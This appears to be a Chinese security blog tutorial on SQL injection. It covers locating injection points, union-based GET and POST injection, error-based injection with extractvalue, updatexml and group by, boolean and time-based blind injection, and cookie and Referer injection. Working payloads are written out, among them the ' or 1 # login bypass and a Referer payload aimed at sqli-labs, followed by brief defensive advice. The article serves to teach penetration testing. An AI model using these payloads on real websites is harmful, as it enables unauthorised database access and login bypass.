freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL注入点判断及注入方式
LemonUCKJ 2022-03-14 15:15:52 95945
所属地 北京

SQL注入类型

一,判断注入点

  1. 当参数可控时,看参数是否对数据产生影响,若有影响则可能是注入点。
  2. 输入SQL看是否可以产生报错,通过报错信息得到数据库部分语句。
  3. 利用引号、双引号、圆括号进行报对。

二,注入方式

  1. get注入
    在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。
?id=1‘order by 3 #判断有几列利用排序报错,超出列数报错。
?id=1' union select 111,222,333 #显示回显点。
?id=1' union select 111,user(),database()#在回显点写上列名
?id=1' union select 111,name,pw from user 
##因为在查询后返回第一行会显示在网页上,所以将id改为一个不存在的参数,目的是为了让我们查询到的信息显示出来,利用limit函数,依次显示后面信息
  1. post注入
    通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。
#闭合方式
id=1 union
id='1' union
id="1" union
id=((1)) union
id=('1') union
……

一般在登录地方是直接把你所输入的信息直接到数据库中搜索语法基本为:

sql="SELECT* FROM users WHERE name =  '+ userName +' and pw='+password+' “;
#当我们将用户名填入 : ’ or 1 #  
#SQl语句就会变成:
SELECT* FROM users WHERE name ='' or 1  # ' and pw='+password+' “
#那么总会查出信息登录成功
  1. 报错注入
    利用extractvalue()函数,利用函数查询xml中信息,将SQL语句执行出来,缺点是只能显示32位。
    用法:extractvalue(目标xml文档,xml路径)
    路径是可以修改的,我们将路径修改为非法格式,对非法格式进行报错。
select 1,(extractvalue(1,concat(0x7e,(select user()),0x7e)));
##利用截取函数substr()截取所需要信息


利用updatexml()函数,原理与上一个相同,只是updatexml()有三个参数 updatexml(目标xml文档,xml路径,更新的内容) 同样对路径惊喜非法写入,进行报错。

select 1,(updatexml(1,concat(0x7e,(select user()),0x7e),1));

group by报错
利用统计,对多次排序的列进行报错

select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),database())
#多次点击页面,当产生不同的列时,将会报错
  1. 布尔盲注
    当参数错误时无数据或报错,但不会报出系统错误信息,这时可以选择布尔盲注,通过查询不同的值进行对比,当对比成功返回正确的页面,否则返回参数错误的页面。
?id=1' and 1 
?id=1' and 0  #先判断页面是否发生变化
?id=1' and (select substr(user(),1,1)='b') #判断用户名第一个字节是否为b,使用工具对其余26个字母判断,可先使用length()函数判断有几个字节
  1. 时间盲注
    时间盲注判断场景与布尔盲注大致相同,时间盲注用于无论输入什么值,页面都无变化的场景。
?id=1'and
if((select  ascii(substr(table_name,1,1))  
from information_schema.tables 
where table_schema=database() limit 0,1)>101,sleep(2),0)
#判断表名第一个字符是否大于101,若大于这沉睡2秒,就是2秒后返回页面
#也可以将sleep语句放在外面
?id=1 and sleep(if(select substr(table_name,1,1)  from information_schema.tables 
where table_schema=database() limit 0,1)='m',2,0))
#如果满足则沉睡2秒

6.Cookie注入
有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。
7. Referer注入
Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。
例如某网站SQL语句如下:

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

这里的referer参与了SQL查询
我们修改referer的值,使用抓包工具,通过报错注入,得到所需要的值。例如:

Referer: http://1.1.1.1/sqli-labs/Less-19/' and extractvalue(1,concat(0x7e,user())) and '

通过报错注入得到所需要的信息。

三,sql注入点判断感悟
只要和数据库产生交互的地方就有可能是注入点,有些网站可能是伪静态页面,通过不断点击页面中的URL通过经验感觉是否是注入点。
在检测网站时,最难的就是寻找注入点和闭合方法,现阶段的框架都比较完善,SQL注入危害极大,所以防范性较大,但不排除部分老旧系统和防范意识不高的前端工程师写的网页,因为SQL注入漏洞不属于bug。只要在服务器上判断用户输入的值是否符合要求,对输入的字符有所限制,就可防范SQL注入,或者使用预编译,将用户所输入的一切都当做一个属性,之间在数据库中查询,不再和SQL语句产生闭合。
’ or 1 # 是一个万能公式,目前安全防护意识有所提高,但不能保证全部网页有安全验证,在网络资源搜索器中搜索标题为“后台登陆”会发现很多不认真的程序员。

# 渗透测试 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 LemonUCKJ 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
LemonUCKJ LV.3
这小伙不懒了,不想填写个人描述!
  • 4 文章数
  • 2 关注者
【春秋云境】CVE-2023-33440 Faculty Evaluation System v1.0 存在未授权任意文件上传漏洞漏洞
2024-04-01
CVE-2015-5254:ActiveMQ反序列化
2022-11-25
网站只有一个登录框怎么办?———用户名密码重置的6种绕过情况
2022-03-14
文章目录